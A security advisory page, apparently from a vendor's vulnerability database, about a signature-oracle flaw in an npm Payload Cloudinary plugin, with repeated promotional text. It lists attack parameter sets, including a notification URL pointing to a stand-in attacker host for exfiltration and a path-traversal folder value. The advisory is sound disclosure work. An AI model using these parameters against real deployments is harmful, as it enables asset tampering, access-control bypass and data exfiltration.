GHSA-H5X8-XP6M-X6Q4 is a high-severity security vulnerability in @jhb.software/payload-cloudinary-plugin (npm), affecting versions >= 0.3.0, < 0.4.0. It is fixed in 0.4.0.
Arbitrary Cloudinary API Parameter Signing in @jhb.software/payload-cloudinary-plugin Summary @jhb.software/payload-cloudinary-plugin v0.3.4 exposes a server-side signing endpoint (POST /api/cloudinary-generate-signature) that passes attacker-supplied paramsToSign directly to cloudinary.utils.apisignrequest() without any allowlist, key filtering, or policy enforcement. Any authenticated Payload user can obtain a cryptographically valid Cloudinary HMAC-SHA1 signature for arbitrary upload parameters, including overwrite=true, type=private, notificationurl, and path-traversal folder values, enabling unauthorized asset replacement, access-control bypass, and potential SSRF within the configured Cloudinary account. Details When clientUploads: true is configured, the plugin registers a signing handler at cloudinary/src/index.ts:74-79. The handler is implemented in cloudinary/src/getGenerateSignature.ts. Vulnerable code path (step by step): cloudinary/src/index.ts:58, initClientUploads registers the server upload handler. cloudinary/src/index.ts:68, The Cloudinary API key is exposed to client handler props by design. cloudinary/src/index.ts:74-79, The signing endpoint is mounted at /cloudinary-generate-signature. cloudinary/src/getGenerateSignature.ts:18, The default access control checks only !!req.user, permitting any authenticated user. cloudinary/src/getGenerateSignature.ts:46, The entire request body is parsed: const body = await req.json?.(). cloudinary/src/getGenerateSignature.ts:55, Vulnerable sink: attacker-controlled body.paramsToSign is forwarded verbatim to the signing function. There are no mitigations in place: No parameter key allowlist (attacker can include overwrite, type, notificationurl, invalidate, etc.) No folder/publicid policy enforcement (the plugin's folder option from index.ts is never passed to getGenerateSignature) No timestamp freshness check No restriction on path traversal sequences in folder or publicid Dynamic reproduction (Phase 2) confirmed all five attack scenarios with HTTP 200 and mathematically verified HMAC-SHA1 signatures: | Case | paramsToSign | Impact | |------|-------------|--------| | CASE-2 | folder=attacker-controlled, overwrite=true | Overwrite any existing asset | | CASE-3 | type=private, publicid=admin-document | Change asset visibility / bypass access control | | CASE-4 | notificationurl=http://attacker.example.com/exfil | SSRF / data exfiltration via Cloudinary webhook | | CASE-5 | folder=../../../../admin-assets, invalidate=true | Path traversal + CDN cache invalidation | Python-independent signature recalculation matched server responses in all 5/5 cases, proving the server computes a genuine HMAC-SHA1 over attacker-controlled input. PoC Prerequisites: @jhb.software/[email protected] deployed with clientUploads: true An authenticated Payload session (any privilege level) Knowledge of CLOUDINARYCLOUDNAME and the client-exposed API key (exposed by design at index.ts:68) Step 1, Obtain a signature for arbitrary parameters (bash): Step 2, Use the minted signature to upload directly to Cloudinary: Expected result: Cloudinary returns a successful upload JSON for attacker/overwrite-target, an asset path the plugin never intended to authorize. Automated PoC (Python): The script (poc.py) posts five distinct paramsToSign payloads and independently verifies each returned signature using hashlib.sha1. All five cases return HTTP 200 with a mathematically valid signature, confirming the vulnerability. Sample output (Phase 2 evidence): Recommended fix: Impact This is an Improper Verification of Cryptographic Signature vulnerability (CWE-347). The signing endpoint is intended to authorize legitimate client-side uploads, but because paramsToSign is never validated, it acts as an unrestricted signature oracle for any authenticated user. Who is impacted: All deployments of @jhb.software/payload-cloudinary-plugin that set clientUploads: true. This is a non-default but officially recommended production configuration for Vercel deployments (documented in the plugin README). Concrete attack outcomes: Asset overwrite (overwrite=true): attacker replaces any existing media asset in the Cloudinary account, enabling content tampering or defacement. Access-control bypass (type=private): attacker changes the delivery type of uploaded assets, potentially exposing or hiding content beyond what the application intends. SSRF / data exfiltration (notification_url): Cloudinary issues an HTTP callback to the attacker-controlled URL upon upload completion, leaking upload metadata and enabling server-side request forgery. Path traversal (folder=../../../../..., invalidate=true): attacker writes to or invalidates assets in arbitrary Cloudinary folders, including administrative paths outside the configured upload directory. The Cloudinary API key is exposed to the client by the plugin itself (index.ts:68), so an attacker already holds three of the four required upload components (cloud name, API key, timestamp). The signing endpoint provides the missing fourth (signature), completing the attack chain with a single authenticated request. Reproduction artifacts Dockerfile poc.py
GHSA-H5X8-XP6M-X6Q4 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment.
A fixed version is available (0.4.0). Upgrading removes the vulnerable code path.
npm
@jhb.software/payload-cloudinary-plugin (>= 0.3.0, < 0.4.0)@jhb.software/payload-cloudinary-plugin → 0.4.0 (npm)Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter instead of chasing every advisory.
Kodem's runtime-powered SCA identifies whether GHSA-H5X8-XP6M-X6Q4 is reachable in your applications. Explore open-source security for your team.
See if GHSA-H5X8-XP6M-X6Q4 is reachable in your applications. Get a demo
Already deployed Kodem? See GHSA-H5X8-XP6M-X6Q4 in your environment →Upgrade @jhb.software/payload-cloudinary-plugin to 0.4.0 or later to resolve this vulnerability.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
GHSA-H5X8-XP6M-X6Q4 is a high-severity security vulnerability in @jhb.software/payload-cloudinary-plugin (npm), affecting versions >= 0.3.0, < 0.4.0. It is fixed in 0.4.0.
GHSA-H5X8-XP6M-X6Q4 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
@jhb.software/payload-cloudinary-plugin (npm) versions >= 0.3.0, < 0.4.0 is affected.
Yes. GHSA-H5X8-XP6M-X6Q4 is fixed in 0.4.0. Upgrade to this version or later.
Whether GHSA-H5X8-XP6M-X6Q4 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
Upgrade @jhb.software/payload-cloudinary-plugin to 0.4.0 or later.